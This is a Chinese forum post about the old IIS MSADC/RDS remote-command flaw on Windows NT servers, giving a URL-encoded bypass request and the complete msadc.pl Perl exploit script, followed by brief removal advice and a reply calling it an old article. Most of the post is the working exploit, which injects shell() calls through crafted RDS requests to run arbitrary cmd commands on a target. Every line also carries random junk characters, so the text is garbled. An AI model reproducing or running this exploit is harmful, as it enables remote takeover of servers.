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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) ^VlPnx8y=  
0'tm.,  
涉及程序: n(el  
Microsoft NT server :Nw7!fd  
\b|Q`)TK  
描述: \G &q[8F\  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 9 kS;_(DB  
<<9Y=%C+  
详细: 3 p9LVa  
如果你没有时间读详细内容的话,就删除: oJ)v6"j  
c:\Program Files\Common Files\System\Msadc\msadcs.dll rZ7)sE5L  
有关的安全问题就没有了。 3`Q>s;DjIU  
vke]VXU9z  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 >R8eAR$N  
qy~@cPT  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 9mH+Ol#(  
关于利用ODBC远程漏洞的描述,请参看: W/I D8+:i  
+\`t@Ht#  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 'O]Ja-  
}=^Al;W  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 {:d9q  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp DYvg^b  
4xNzhnp|  
这里不再论述。 1`8(O >5  
oq}Q2[.b  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: vH9Gf  
ZE>!]# ,  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset x<e-%HB*-  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! .TWX,#  
mdD9Q N01  
) "To h=x]  
#将下面这段保存为txt文件,然后: "perl -x 文件名" ) _O 6_  
T@H2[ 7[;  
#!perl LC:bHM, e  
# Zr@G  
# MSADC/RDS 'usage' (aka exploit) script PyfOBse}r  
# #2*2xt  
# by rain.forest.puppy t#[u X?  
# -,#LTW<.  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me z;En Ay{9  
# beta test and find errors! *]_GFixi  
4FgY!k  
use Socket; use Getopt::Std; E$8 4c+  
getopts("e:vd:h:XR", \%args); /!Kl  
yD9<-B<)  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; P&@[ j0  
ew cgg  
if (!defined $args{h} && !defined $args{R}) { PNMf5'@m  
print qq~ x2g P, p-  
Usage: msadc.pl -h <host> { -d <delay> -X -v } Yl6\}_h`  
-h <host> = host you want to scan (ip or domain) ~_Mz05J-\_  
-d <seconds> = delay between calls, default 1 second )z#M_[zC>  
-X = dump Index Server path table, if available ]w=6.LzO*  
-v = verbose *!y.!v*  
-e = external dictionary file for step 5 lhA<wV1-9G  
Q-GnNT7MB3  
Or a -R will resume a command session hq^@t6!C\m  
N~An}QX|  
~; exit;} {1ic* cZS  
+vtI1LC;_  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; p@7[w@B\c  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} UPkD^D,  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} D;0xROW8{  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); U'acVcD  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} 1$Pn;jg:  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } 8oj-5|ct  
H-,RzL/  
if (!defined $args{R}){ $ret = &has_msadc; k99ANW  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} !*gTC1bvB  
e r;3TG~  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" 88ydAx#P  
. "cmd /c "; ^L<*ggw  
$in=<STDIN>; chomp $in; IFY,j8~q  
$command="cmd /c " . $in ; pMX#!wb  
sm>Hkci%  
if (defined $args{R}) {&load; exit;} afMIqQ?  
^f,('0p- >  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; P2Ja*!K]  
&try_btcustmr; vK\;CSk  
y[l19eU  
print "\nStep 2: Trying to make our own DSN..."; RZ[r XV5  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; \k|ZbCWg  
,{{uRs/  
print "\nStep 3: Trying known DSNs..."; F W# S.<  
&known_dsn; :oH"  
Z<#beT6  
print "\nStep 4: Trying known .mdbs..."; .#b!#   
&known_mdb; $bU|'}QR  
t'EH_ U  
if (defined $args{e}){ &:` 7  
print "\nStep 5: Trying dictionary of DSN names..."; ^E7>!Lbvx  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } "=W7=V8w  
9J?G"JV?  
print "Sorry Charley...maybe next time?\n"; RkJ\?  
exit; sS$- PX C  
{[4Y(l1  
############################################################################## ;6} *0V_!k  
|j i}LWcD  
sub sendraw { # ripped and modded from whisker G'z&U?Ng  
sleep($delay); # it's a DoS on the server! At least on mine... 8P3EQY -  
my ($pstr)=@_; %Iv0<oU  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || URW'*\Xjb  
die("Socket problems\n"); "l&sDh%Lk<  
if(connect(S,pack "SnA4x8",2,80,$target)){ &0 VM <  
select(S); $|=1; ud`.}H~aB  
print $pstr; my @in=<S>; Q H%{r4  
select(STDOUT); close(S); OwQ 9y<v  
return @in; 3 SQ_9{  
} else { die("Can't connect...\n"); }} MQQ!@I`  
[JGa3e  
############################################################################## dxkXt  k  
V&_5q`L  
sub make_header { # make the HTTP request ~`MGXd"o  
my $msadc=<<EOT fwIZr~l  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 M)#R_(Q5{  
User-Agent: ACTIVEDATA N2}].}  
Host: $ip R9yK"  
Content-Length: $clen }tU<RvT  
Connection: Keep-Alive %t\`20-1<  
VbtFM=Dg  
ADCClientVersion:01.06 #cQ[ vE)y  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 vbQo8GFp}  
(0"9562  
--!ADM!ROX!YOUR!WORLD! #4''Cs  
Content-Type: application/x-varg oj<.axA,  
Content-Length: $reqlen ]P ->xJ  
e@L'H)w,  
EOT h2KXW}y"4  
; $msadc=~s/\n/\r\n/g; 6kjBd3  
return $msadc;} HqU"i Y>b  
3;j?i<kM  
############################################################################## {61NLF\0H  
+6f5uMKUvs  
sub make_req { # make the RDS request q]5"V>D \  
my ($switch, $p1, $p2)=@_; FI~)ZhE)]  
my $req=""; my $t1, $t2, $query, $dsn; vdNh25a<h  
HF5aU:M  
if ($switch==1){ # this is the btcustmr.mdb query Xig+[2zS  
$query="Select * from Customers where City=" . make_shell(); 7BF't!-2F  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . yaA9* k  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} 5in6Y5ckj  
wLU w'Ai  
elsif ($switch==2){ # this is general make table query $;+B)#  
$query="create table AZZ (B int, C varchar(10))"; q[b-vTzI  
$dsn="$p1";} bs]ret$?(q  
|zvxKIW;wd  
elsif ($switch==3){ # this is general exploit table query bsPwTp^  
$query="select * from AZZ where C=" . make_shell(); 1(!QutEb  
$dsn="$p1";} [ WZ<d^L  
G_[|N>  
elsif ($switch==4){ # attempt to hork file info from index server *Yvfp{B  
$query="select path from scope()"; $Kb-mFR  
$dsn="Provider=MSIDXS;";} FWdSpaas Q  
>9=Y(`  
elsif ($switch==5){ # bad query _hMVv&$  
$query="select"; H U$:x"AW  
$dsn="$p1";} n\*>m p)  
*`);_EVc  
$t1= make_unicode($query); t3Q;1#Zf  
$t2= make_unicode($dsn); +&a2aEXF  
$req = "\x02\x00\x03\x00"; ygUvO3Z  
$req.= "\x08\x00" . pack ("S1", length($t1)); 0'|#Hi7@  
$req.= "\x00\x00" . $t1 ; J(M0t~RZ  
$req.= "\x08\x00" . pack ("S1", length($t2)); +]CKu$,8  
$req.= "\x00\x00" . $t2 ; T[<llh'+  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; bR*T}w$<  
return $req;} $z{HNY* 2  
QD<^VY6  
############################################################################## !V@Y \M d  
v<tH 3I+   
sub make_shell { # this makes the shell() statement \9i.dF  
return "'|shell(\"$command\")|'";} klUxt?-  
!U,qr0h  
############################################################################## q&Q* gEFK  
9|Jmj @9  
sub make_unicode { # quick little function to convert to unicode b3EW"^Ar  
my ($in)=@_; my $out; F!`.y7hY@  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } g=b[V   
return $out;} $|6Le; K  
cdP+X'Y4D  
############################################################################## ))G%C6-  
u;& `_=p  
sub rdo_success { # checks for RDO return success (this is kludge) GMgsM6.R  
my (@in) = @_; my $base=content_start(@in); d)r=W@tF]  
if($in[$base]=~/multipart\/mixed/){ k'%c|kx8U  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} p`Omcl~Q  
return 0;} +2B{"Czm  
k%:]PQjYT  
############################################################################## #&r^~>,#L-  
AWQwpaj-  
sub make_dsn { # this makes a DSN for us dm.?-u;C  
my @drives=("c","d","e","f"); tI{ n!  
print "\nMaking DSN: "; W3*WR,z  
foreach $drive (@drives) { { j&|Em]  
print "$drive: "; j^iH[pN] \  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . L\_8}\  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" +#1WOQfAD  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); $./JA) `  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; )J~Q x-jG  
return 0 if $2 eq "404"; # not found/doesn't exist ~LO MwMHl  
if($2 eq "200") { vCbqZdy?  
foreach $line (@results) { 4p>@UB&U  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} 9Wx q  
} return 0;} 5 ;dg#hO  
gA2\c5F<  
############################################################################## XV%L6x  
*[W!ng  
sub verify_exists { 4=F~^Xc`  
my ($page)=@_; <LZvG IMl  
my @results=sendraw("GET $page HTTP/1.0\n\n"); 3 {on$\  
return $results[0];} #dW$"u   
f:"es: Fb  
############################################################################## mN3%;$ND7  
$L:g7?)k  
sub try_btcustmr { pK *-In  
my @drives=("c","d","e","f"); RJF1~9  
my @dirs=("winnt","winnt35","winnt351","win","windows"); ,UWO+B]  
EW#.)@-  
foreach $dir (@dirs) { 9N=Dls  
print "$dir -> "; # fun status so you can see progress X_Y$-I$qd  
foreach $drive (@drives) { ,!%[CpM3  
print "$drive: "; # ditto $3Wl~ G}  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; a/L?R Uu  
$reqlenlen=length( "$reqlen" ); ?@_3B]Fs  
$clen= 206 + $reqlenlen + $reqlen; 39"8Nq|e  
\+Qx}bS{  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); "M_X9n_  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} ~O@V;y  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} o~<fw]y  
oc\rQ?  
############################################################################## }4_izKS  
7i 334iQZ  
sub odbc_error { O+.V,` O  
my (@in)=@_; my $base; 4d0PW#97.  
my $base = content_start(@in); wGnjuIR  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this 3iH!;`i  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; `j4ukOnG  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; rm3 ~]  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; i1  SP  
return $in[$base+4].$in[$base+5].$in[$base+6];} ?$-OdABXHK  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; u4z]6?,"e  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . uZmfvMr3  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} w{2V7*+l  
e *;"$7o9  
############################################################################## mtmBL 2?  
':o.vQdJ  
sub verbose { #0G9{./C  
my ($in)=@_; 1vl~[  
return if !$verbose; qYsu3y)*N  
print STDOUT "\n$in\n";} Q(V c/  
]jY->NsA]  
############################################################################## _i}6zxqw  
l4R:_Z<  
sub save { 6],5X^*Y  
my ($p1, $p2, $p3, $p4)=@_; NYR^y \u  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; #ye++.7WK  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; uO7Ti]H  
close OUT;} \vFkhm  
H[]j6D  
############################################################################## ]C)PZZI='  
ru'Xet  
sub load { bB)EJCPq>  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; g[H7.  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); ;\Wg>sq  
@p=<IN>; close(IN); ]7dm`XV  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); {r'#(\  
$target= inet_aton($ip) || die("inet_aton problems"); /Pg66H#RUf  
print "Resuming to $ip ..."; N1#*~/sXh  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; F P mLost  
if($p[1]==1) { 3@ay9!Xq  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; y3;G<9K2c]  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; ix7N q7!N  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); &)xoR4!2  
if (rdo_success(@results)){print "Success!\n";} bmt2~!  
else { print "failed\n"; verbose(odbc_error(@results));}} jew?cnRmd  
elsif ($p[1]==3){ O$$s]R6  
if(run_query("$p[3]")){ V)N9V|O'  
print "Success!\n";} else { print "failed\n"; }} IWm|6@y  
elsif ($p[1]==4){ S'6(&"XC H  
if(run_query($drvst . "$p[3]")){ De4+4&  
print "Success!\n"; } else { print "failed\n"; }} !R)v2Mk|  
exit;} UnW,|n8  
R['qBHQ?  
############################################################################## +(cs,?`\  
TmzEZ<} &7  
sub create_table { x,>@IEN7  
my ($in)=@_; [ Y'Xop6G  
$reqlen=length( make_req(2,$in,"") ) - 28; ,a5I:V^\  
$reqlenlen=length( "$reqlen" ); WNd(X}  
$clen= 206 + $reqlenlen + $reqlen; RMLs(?e  
my @results=sendraw(make_header() . make_req(2,$in,"")); DJrA@hm/Y  
return 1 if rdo_success(@results); s'} oVx]  
my $temp= odbc_error(@results); verbose($temp); x]y~KbdeB  
return 1 if $temp=~/Table 'AZZ' already exists/; `n5 )oU2q  
return 0;} !n)2HDYhx,  
"'6KQnpZ  
############################################################################## O$#`he/jm  
lD !^MqK  
sub known_dsn { ~5cLI;4h  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go =C<_rBY  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", tgg *6lc  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", gfih;i.pY  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); s\>$ K%!H?  
#MOEY|6  
foreach $dSn (@dsns) { #1V vK  
print "."; , Y9lp)w  
next if (!is_access("DSN=$dSn")); 7U?x8%H*  
if(create_table("DSN=$dSn")){ ']}ZI 8  
print "$dSn successful\n"; aQinR"o  
if(run_query("DSN=$dSn")){ g w }t.3}  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { T-|z18|!  
print "Something's borked. Use verbose next time\n";}}} print "\n";} Zf?>:P  
u^iK?S#Ci8  
############################################################################## BS+N   
;znIY&Z  
sub is_access { tM{t'WU  
my ($in)=@_; --  _,;  
$reqlen=length( make_req(5,$in,"") ) - 28; NsWyxcty  
$reqlenlen=length( "$reqlen" ); Ej6vGC.,  
$clen= 206 + $reqlenlen + $reqlen; ir%/9=^d  
my @results=sendraw(make_header() . make_req(5,$in,"")); e-{k;V7b  
my $temp= odbc_error(@results); Xv=n+uo  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); HRPTP+  
return 0;} + s1mm c  
Z$HYXm  
############################################################################## w(.k6:e  
c5]^jUB6  
sub run_query { ivw2EEo,  
my ($in)=@_; WBTX~%*U  
$reqlen=length( make_req(3,$in,"") ) - 28; `sJkOEc`  
$reqlenlen=length( "$reqlen" ); ?L{[84GSO  
$clen= 206 + $reqlenlen + $reqlen; hQ8/-#LO_  
my @results=sendraw(make_header() . make_req(3,$in,"")); Wl::tgU  
return 1 if rdo_success(@results); P) GBuW  
my $temp= odbc_error(@results); verbose($temp); \t^q@}~0Wz  
return 0;} ]hv4EL(zi  
`){*JPl  
############################################################################## ,}`II|.oB  
Sn" 1XU  
sub known_mdb { (AXS QI~y  
my @drives=("c","d","e","f","g"); I&R4.;LW  
my @dirs=("winnt","winnt35","winnt351","win","windows"); m:Z=: -x  
my $dir, $drive, $mdb; yWt87+%T  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; V\)@Yk2  
6^UeEmjc  
# this is sparse, because I don't know of many ).-B@&Eu%  
my @sysmdbs=( "\\catroot\\icatalog.mdb", 0'z$"(6D  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", !*+~R2&b  
"\\system32\\certmdb.mdb", Yz.[CmdX  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% ,Iwri\  
Tv~<W4  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", A[=)Zw "  
"\\cfusion\\cfapps\\forums\\forums_.mdb", S37Bl5W  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", 65s|gfu/  
"\\cfusion\\cfapps\\security\\realm_.mdb", e)7[weGN  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", ,C(")?4aJ  
"\\cfusion\\database\\cfexamples.mdb", &``;1/J*W  
"\\cfusion\\database\\cfsnippets.mdb", cKFzn+  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", ?sp  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", h_x"/z&  
"\\cfusion\\brighttiger\\database\\cleam.mdb", tY%c-m  
"\\cfusion\\database\\smpolicy.mdb", zOWbdd_zl  
"\\cfusion\\database\cypress.mdb", qK;n>BTe  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", F~{yqY5]n  
"\\website\\cgi-win\\dbsample.mdb", :m^eNS6:  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", & UL(r  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" [ o3}K  
); #these are just eP[azC"G[  
foreach $drive (@drives) { rK}*Uwut  
foreach $dir (@dirs){ q.uIZ  
foreach $mdb (@sysmdbs) { q;t T*B W  
print "."; \W}?4kz  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ !=|3^A  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; 8$xg\l0?KK  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ Hz%#&E  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; 6-QTqb?U;N  
} else { print "Something's borked. Use verbose next time\n"; }}}}} xREqcH,vU  
@6}c\z@AxM  
foreach $drive (@drives) { 0@^YxU[YN  
foreach $mdb (@mdbs) { kM]?  
print "."; XvZg!<*OH  
if(create_table($drv . $drive . $dir . $mdb)){ Q5{i#F7nJm  
print "\n" . $drive . $dir . $mdb . " successful\n"; C4TJS,!1rH  
if(run_query($drv . $drive . $dir . $mdb)){ 7cY_=X-?Y  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; tezsoR!.ak  
} else { print "Something's borked. Use verbose next time\n"; }}}} m:II<tv  
} ~*THL0]~  
,? <jue/bd  
############################################################################## OUnt?[U\  
o&fAnpia=  
sub hork_idx { 76mQ$ze  
print "\nAttempting to dump Index Server tables...\n"; {C|#<}1  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; ZMy7z|  
$reqlen=length( make_req(4,"","") ) - 28; z Sj.Y{J  
$reqlenlen=length( "$reqlen" ); nWmc  
$clen= 206 + $reqlenlen + $reqlen; tjuW+5O  
my @results=sendraw2(make_header() . make_req(4,"","")); !$qNugLg  
if (rdo_success(@results)){ p,$1%/m  
my $max=@results; my $c; my %d; u <D&RT  
for($c=19; $c<$max; $c++){ WI](a8bm  
$results[$c]=~s/\x00//g; qW $IpuK  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; Y'%sA~g  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; AX<TkS@wjb  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; }!lLA4XRr  
$d{"$1$2"}="";} [$OD+@~A2  
foreach $c (keys %d){ print "$c\n"; } n M,m#"AI  
} else {print "Index server doesn't seem to be installed.\n"; }} W446;)?5  
@,pO%,E6  
############################################################################## l4|bpR Cp  
Uj1^?d+b  
sub dsn_dict { dB^J}_wp  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); W^60BZ  
while(<IN>){ n"(n*Hf7b  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; k "'q   
next if (!is_access("DSN=$dSn")); +, p  
if(create_table("DSN=$dSn")){ zp,f}  
print "$dSn successful\n"; cQ1oy-paD  
if(run_query("DSN=$dSn")){ ce 1KUwo]  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 'O \YL(j_e  
print "Something's borked. Use verbose next time\n";}}} v9u/<w68!  
print "\n"; close(IN);} S-Ryt>G  
vn6/H8  
############################################################################## ov*zQP  
Ga+\b>C  
sub sendraw2 { # ripped and modded from whisker -gv@ .#N  
sleep($delay); # it's a DoS on the server! At least on mine... !94& Uk(O  
my ($pstr)=@_; D8paIp  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || <!-8g!  
die("Socket problems\n"); ( y'i{:B  
if(connect(S,pack "SnA4x8",2,80,$target)){ 4YXtl +G  
print "Connected. Getting data"; xJJlVP  
open(OUT,">raw.out"); my @in; y? )v-YGu  
select(S); $|=1; print $pstr; mQ('X~l  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} EYcvD^!1g  
close(OUT); select(STDOUT); close(S); return @in; K>,Kbs=D6  
} else { die("Can't connect...\n"); }} ubj ~ULA  
Czid"Ih-  
############################################################################## T5Sa9\`>  
/n/U)!tp  
sub content_start { # this will take in the server headers t A\N$  
my (@in)=@_; my $c; k2j:s}RHY  
for ($c=1;$c<500;$c++) { q !EJs:AS  
if($in[$c] =~/^\x0d\x0a/){ D2[uex  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } )wCA8  
else { return $c+1; }}} 4 (bV#   
return -1;} # it should never get here actually F, %qG,  
A WMR0I  
############################################################################## rRYP~ $c  
(GMKIw2  
sub funky { ~ AS2$  
my (@in)=@_; my $error=odbc_error(@in); S TVJu![  
if($error=~/ADO could not find the specified provider/){ %0Ulh6g;Dt  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; o3]B/  
exit;} />FrMz8;(  
if($error=~/A Handler is required/){ V`pTl3  
print "\nServer has custom handler filters (they most likely are patched)\n"; *<Fz1~%*  
exit;} B[S.6 "/H  
if($error=~/specified Handler has denied Access/){ 7iLm_#M  
print "\nServer has custom handler filters (they most likely are patched)\n"; gt';_  
exit;}} 9c=Y+=<  
8}{';k  
############################################################################## agM.-MK  
slOki|p;  
sub has_msadc { 1AjsAi,7;2  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); l:z :tJ#(  
my $base=content_start(@results); UH%oGp$ykX  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/);  S`U Gk  
return 0;} V/"XC3/n*  
xX{uDMYa;  
######################## ]6pxd \Q  
=yz#L@\!  
!jU<(eY  
解决方案: rf@/<Wu  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll <{[AG3/Zj4  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 UacN'Rat  
$Y,,e3R3  
拿出来充数 哈哈
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